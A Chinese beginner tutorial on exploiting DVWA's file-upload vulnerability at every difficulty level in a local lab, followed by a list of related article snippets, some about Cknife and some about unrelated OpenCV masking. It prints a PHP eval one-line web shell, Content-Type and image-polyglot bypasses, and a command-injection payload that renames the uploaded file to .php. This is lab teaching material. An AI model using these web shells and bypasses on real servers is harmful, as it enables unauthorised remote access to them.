DVWA的upload文件上传漏洞(全难度)(小白向)

article/2025/10/1 1:10:27

提示:只是为了方便理解,但不一定符合您的要求

文章目录

一、等级:low

 二、等级:medium

 三、等级:high

四:等级:impossible


前言

靶机ip:192.168.229.145

DVWA版本:v1.10

mysql版本:5.7.26

php版本:5.4.45

在phpstudy上配置的环境,怎么配置我就不教了,可以直接在csdn上搜索


一、等级low

在phpstudy的目录下,像我的靶机的C:\phpstudy_pro\WWW\DVWA\vulnerabilities\upload\source你可以看到你要打的靶机的php源码。如图所示:

所以我们先从源代码进行细致的分析,具体代码如下:

if( isset( $_POST[ 'Upload' ] ) ) {    //检查表单是否有提交上传的请求// Where are we going to be writing to?   //保存文件的目标路径$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    //获取上传文件的文件名// Can we move the file to the upload folder?    //将上传的文件移动到指定目录下,如果不行则给出提示信息if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}

从上面的代码分析,使用isset() 函数判断表单是否有提交上传的请求,$target_path 变量确定了要将客户端上传的文件定位到DVWA_WEB_PAGE_TO_ROOT(Web根目录)和hackable/uploads/ (文件存放位置)。

move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path的作用是将从客户端上传的临时文件移动到服务器的指定目录中。

{$target_path}会通过$_FILES['uploaded']['tmp_name']的文件上传算出路径给你成功上传时返回出来,方便你学习。

如果上传失败返回Your image was not uploaded.成功返回{$target_path} succesfully uploaded!。分析完你会发现low等级没有对上传文件的类型,大小进行任何的安全验证。

以此我们可以随便实验,不管是什么,只要你通过浏览选中都可以上传,我甚至能选择一个视频:

我们开始上传一个一句话木马,使用一句话木马后门进行远程连接,我们使用的代码例子是

<?php @eval($_POST[1234]);?>

下面这部分会的可以先跳过。当然你也可以使用别的一句话木马,都是可以。

为了防止有人不明白,我们逐步分析每个函数:

"<?php":这是一个PHP脚本的开始标记

每个 PHP 代码文件必须以 <?php 标记开始,并以 ?>标记结束

"@eval":这是一个PHP函数,用于执行字符串中的任意PHP代码。
详细学习可以在PHP eval() 函数 | 菜鸟教程 (runoob.com)

"$_POST":这是一个PHP全局变量,包含了通过HTTP POST方法提交的所有变量和对应的值。

"[1234]":这是一个数组索引符号,用于获取名为"1234"的POST参数的值。当然这里面的值你可以改成你希望的


";":语句结束符号。

"?>":这是PHP脚本结束标记

我使用的文件名字是124.php

说完我们开始点击上传:

上传成功后我们获得了一个回应

../../hackable/uploads/124.php succesfully uploaded!

这就是我们直接在代码中看到的{$target_path} succesfully uploaded!,它自动帮我们找到了路径

这时候我们就该动用我们的其他工具进行连接,我使用的是cknife,当然你们也可以使用别的,比如哥斯拉,蚁剑,菜刀之类的工具,具体使用方法请自己查找,同样能实现效果

有人会好奇这个地址怎么来的,为什么这么填写,我们也一个一个说

 我们当时上传文件时的url是http://192.168.229.145/vulnerabilities/upload/#

(这是我的靶机地址,别和shabi一样去试,然后觉得我给的有问题)

上面我们反馈的路径是../../hackable/uploads/124.php

"../"表示的是上一级目录,也就是当前路径的父目录

如果觉得抽象不好理解,我也举个具体例子,如图:

上面这个图是一个我c盘里的C:\Program Files\7-Zip目录,如果返回上一级目录,就会这样:

 

# 符号是 URI 分片标识符(URI Fragment Identifier),表示链接的目标定位到页面中的某一个具体位置(比如某一个标题或锚点位置)。简单点来说它负责显示给你的 ../../hackable/uploads/124.php在网页上的位置的,不用在意。

两次返回父目录,之前的目录就来到了http://192.168.229.145/,这个目录下的 /hackable/uploads/124.php,就是我们上传的文件被送到的位置。

回到正题

在后面的1234,则是所谓的连接密码

如果你使用的是蚁剑,那你的界面是这样的:

 在上面都完成了,测试一下连接,你就会发现你已经成功连接进了对方的服务器,如图:

 二、等级medium

   在等级low中我们已经细致的讲解了源代码,一句话木马,和工具的简单使用,所以在中等就不会重复一些一样的操作

    我们们老样子,先看代码:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

重点是这一句

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) )

它用( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" )判断了文件是不是image/jpeg 或 image/png 类型,满足其中一个则ture,后半部分和前半部分使用"&&"(“与”)连接,后半部分判读的事文件大小,需要<100000 字节,反正100kb不到。

分析完了,开始做题。

(1)$uploaded_type上传过程的判断结果可以被篡改

(2)文件扩展名可以被篡改,使文件成功上传,绕过验证

(3)文件大小可以被伪造

判断结果上传过程我们可以使用burp(也就是薄荷)可以修改结果,以此绕过验证

在缓存时我们启动抓包,也就是这个界面,我们启动抓包程序:

抓包结果:

其中的这串 Content-Type: application/octet-stream,就是判断后要上传的判断结果,我们把它修改成image/jpeg 或 image/png:



然后放包,你就会获得和low一样的结果:

然后重复low的操作

 三、等级high

老样子看代码:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

简单分析核心代码:

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp )

(1)扩展名为jpg、jpeg或png

但没有对大小写进行区分

(2)大小不超过100kb($uploaded_size < 100000)

大小仍旧可以欺骗

(3)使用getimagesize()函数检测文件是否为真正的图像文件

什么是getimagesize()函数?

getimagesize()函数会读取指定图像文件的头部信息,包括图像的尺寸、类型和其他属性。

就意味着我们上传的文件需要有一张图片或使用特点的办法绕过getimagesize()函数的检测

不管怎么样,都需要文件能被认为是图片,且后缀名真确,就需要伪造的图片上传后更改其后缀名或者进入后仍旧能被连接。你可以照着别人给的其他方法来,但你需要知道你为什么这么做,这么做的目的是什么,怎么利用

我选择的路是伪造图片,然后改变其后缀名:

先找到一个可以正常上传的图片

 然后把图片和php文件结合

之前看别人有使用 cmd命令

比如

copy xxx.jpg/b + xxx.php/a = xxx.jpg

但我使用的时候会产生损坏的图片,所以我使用笨办法,直接加图片后面:

这时候上传文件就会成功

上传成功了,但文件是 jpg类型,没办法直接使用,所以我们需要改变它的文件类型或者找到一条特殊的路径读取到其中的php命令

(1)改变文件类型的办法:

使用low等级的命令注入修改:

使用的代码,我的靶机到这一步使用时就刷新然后清空请求,不知道为什么

127.0.0.1 | mv ../../hackable/uploads/123fubeng.jpg ../../hackable/uploads/123fubeng.php

然后和按low的文件上传能正常使用了

(2)使用特殊路径连接则需要使用low等级的文件包含:

在文件包含漏洞中会发现url会显示路径,方便我们使用

 

 我们把我们的相对路径放进去,发现能被正常读取到,我们通过这个路径我们上传的文件并执行恶意代码 

我们把路径放到cknife里

发现并不能直接使用,为什么?(如果你使用的ip是127.0.0.1就不需要这一步)

因为获取到的资源就需要COOKIE,这和http的无状态登录有关,就是服务器都不会存储用户之前提供的身份验证信息。因此,通过菜刀访问时还需要身份的验证,而网站为了维护请求之间的上下文信息,使用 Cookie 技术来存储用户凭据。所以你需要cookie。

 所以我们在页面上按F12,进入控制台,找到网络,拿到cookie

然后放到请求头并开启,就能正常连接了

四:等级:impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// No$html .= '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

我们还是从源代码分析,它做了什么才导致难以实践文件上传:

(1)通过 checkToken() 方法验证了 Anti-CSRF token 的合法性,相当于也防范了CSRF攻击

(2)使用 md5(uniqid().$uploaded_name)生成一个唯一的文件名,不使用原始文件名作为目标文件名,然后用原始文件的扩展名再拼接成完成的文件名

(3)检查上传的文件是否为图片(jpg、jpeg、png)并且文件大小不超过 100000 字节,同时检测的文件类型为 image/jpeg 或 image/png,设置了 getimagesize() 方法能去读取图片来验证图片合法性。这就是high里做到事。

(4)如果满足上述三个条件后,则将上传的图片重新编码以去除任何元数据以防范未知漏洞,并对文件名进行 hash 加密处理。之后将图片移动到 web 根目录下的指定路径中。如果移动成功,输出上传成功的消息,否则输出上传失败的消息

这就是我能做到的分析了


如果能帮到你一点真的再好不过了


http://chatgpt.dhexx.cn/article/1KxUJ5Ng.shtml

相关文章

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源&#xff0c;所以安全。因为可操作的空间挺大的&#xff0c;也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。 但是使用过程中也遇到了一些小问题&#xff0c;被吐槽最多的就是…

致远OA_0day批量植Cknife马一步到位

最近各位师傅都在刷这个嘛&#xff0c;原本的exp是上传一个test123456.jsp的命令执行的马子&#xff0c;不过我在试的时候发现替换成C刀一句话出错,原因未知&#xff0c;并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.ne…

linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 相关阅读&#xff1a; 0x00 前言 很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版&#xff0c;仅仅多了跨平台的功能&#xff0c;其实小伙伴…

Cknife流量分析

本文首发&#xff1a;https://<img src1 οnerrοr\u006coc\u0061tionj\x61v\x61script:\x61lert\x281\x29>testdemo 0x01 环境 <?php eval($_REQUEST[shell] ?> 0x02 命令执行 执行命令结果如下图所示 POST的数据如下图所示 对POST的数据解码 #shell eval(base6…

渗透工具环境篇——Cknife中国菜刀的使用

提要 在学习上传漏洞的时候研究到了Cknife这个软件。下面来介绍一下菜刀的使用方法。 使用 1.下载菜刀&#xff0c;打开Cknife.jar软件 2.右键点击添加 3.输入上传的php文件&#xff0c;php文件密码&#xff0c;脚本类型选择PHP&#xff0c;字符编码GB2312&#xff0c;点…

关于cknife与burpsuite对java的版本需求的冲突机器解决办法

之前安装burpsuite时候使用的是jdk11,一直使用的没有问题&#xff0c;后来接触到了cknife,但在使用时却发现cknife需要jre1.7以上版本&#xff0c;但这有是burpsuit无法兼容的&#xff0c;翻来覆去整了半天&#xff0c;终于搞定了。。 1.先删除jdk-11 2.下载jdk-7u80,这里面是…

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 000 前言 亲爱的Chora小伙伴在上文说过&#xff0c;他是一个有责任心的基佬&#xff0c;要手把手为大家&#xff08;不&#xff09;负责任的讲解如何…

图像位运算、掩模

图像位运算、掩模 原图 添加的RGB图像 1. 选取原图中的感兴趣的区域&#xff0c;即ROI&#xff08;region of interest&#xff09; 2. 将要添加的RGB图像转换成灰度图像 img2gray cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)3. 将灰度图像进一步转成二值图像&#xff0c;即…

【图像锐化】非锐化掩模 USM(Unsharpen Mask)与锐化掩模 SM(Sharpen Mask)

非锐化掩模USM&#xff08;Unsharpen Mask&#xff09;与锐化掩模 SM&#xff08;Sharpen Mask&#xff09; 掩膜操作可以提高图像对比度&#xff0c;对比度提高可以增加图像感官度、锐化&#xff0c;让看起来有点模糊的图像更清晰。 原理&#xff1a;提取图像的高频分量&#…

2021年中国光掩模玻璃基板行业市场需求量分析:IC、FPD领域快速发展带动光掩模玻璃基板需求量不断增长[图]

一、概述 光刻掩膜版,简称掩膜版,是微纳加工技术常用的光刻工艺所使用的图形母版。由不透明的遮光薄膜在透明基板上形成掩膜图形结构,再通过曝光过程将图形信息转移到产品基片上。 光学掩模板是在薄膜、塑料或玻璃基体材料上制作各种功能图形并精确定位,以便用于光致抗蚀…

【OpenCV 】图像掩模

图像掩模&#xff08;image mask&#xff09;&#xff1a;用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&#xff09;进行遮挡来控制图像处理的区域或处理过程。由于覆盖的特定图像或物体称为掩模或模板。 数字图像处理中&#xff0c;掩模为二维…

【youcans 的 OpenCV 例程200篇】179.图像分割之 GrabCut 图割法(掩模图像)

【youcans 的 OpenCV 例程200篇】176.图像分割之均值漂移算法 【youcans 的 OpenCV 例程200篇】177.图像分割之 GraphCuts 图割法 【youcans 的 OpenCV 例程200篇】178.图像分割之 GrabCut 图割法&#xff08;框选前景&#xff09; 【youcans 的 OpenCV 例程200篇】179.图像分割…

OpenCV python 掩模处理学习笔记

OpenCV python 掩模处理 前言1.1 掩模是什么1.2 掩模的原理1.3 构造掩模图像总结 前言 接上篇OpenCV Python 直方图的使用。在opencv中使用掩模对图像进行处理是一个十分常用的方法。本篇是记录掩模操作的原理及使用。小白入门&#xff0c;如有不正确的地方希望大佬指正。 提示…

OpenCV基于Python图像掩模处理

图像掩模 目标1. 图像掩模的概念2. 图像掩模的作用3. 示例演示 目标 本篇文章主要介绍图像掩模的概念、作用、及其简单实现。 1. 图像掩模的概念 图像掩模&#xff08;image mask&#xff09;是用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&a…

CodedStereo:大尺度景深双目视觉的相位掩模学习(CVPR2021)

点击上方“3D视觉工坊”&#xff0c;选择“星标” 干货第一时间送达 来源丨泡泡机器人SLAM 作者丨泡泡机器人 标题&#xff1a;CodedStereo: Learned Phase Masks for LargeDepth-of-Field Stereo 作者:Shiyu Tan, Yicheng Wu, Shoou-I Yu&#xff0c; Ashok Veeraraghavan 机构…

OpenCV笔记整理【直方图和掩模】

1. 直方图&#xff1a; 直方图统计图像中各个灰度级出现的次数&#xff0c;横坐标为各个像素点的灰度级&#xff0c;纵坐标是具有该灰度级的像素个数。 上面这个九宫格我们可以想象成一张图像&#xff0c;里面的数字代表当前像素的灰度等级。 用图表显示&#xff1a;X轴代表…

数字图像处理 掩模

将logo叠加在图片上 将logo图片进行灰度化阈值处理得到掩模 (需要的部分是置非0 不需要的黑色的部分置0) 然后需要利用掩模对logo图像和人物图像分别进行处理 对logo图&#xff1a; 需要把黑色部分去掉-----与掩模进行与操作把黑色部分置0 Ps:黑色部分用add叠加时相当于没有…

OpenCV基本功 之 图像的掩模、运算 合并专题 -小啾带学【Python-Open_CV系列(七)】

OpenCV图像的掩模、运算 与 合并专题 【Python-Open_CV系列&#xff08;七&#xff09;】 文章目录 1.图像的掩模2.图像的运算2.1 图像的加法运算2.1.1 “”方法2.1.2 cv2.add()方法2.1.3 使用掩模遮盖相加结果 2.2 图像的位运算2.2.1 按位与 cv2.bitwise_and()2.2.2 按位或 c…

空间掩模matlab,浅谈基于SLM的非相干全息系统掩模设计及成像处理

宋冲 摘要:基于空间光调制器(Spatial Light Modulator,SLM)的菲涅尔非相干相关数字全息系统,无需对物体在空间或时间上进行扫描,可以快速获取真实三维物体的全息图,在荧光生物样品显微成像、彩色全息显示、以及自适应光学等领域展示了极大应用潜力。通过本项目的研究,为S…

matlab 掩模,用于图像中的与脸部有关的选择和处理的图像掩模制造技术

【技术实现步骤摘要】 【国外来华专利技术】【专利说明】用于图像中的与脸部有关的选择和处理的图像掩模相关串请的交叉引用本申请要求对通过完全引用而结合于此、提交于2013年5月14日的第13/894&#xff0c;384号美国专利申请的优先权。 技术介绍 数字相机的流行和便利以及因特…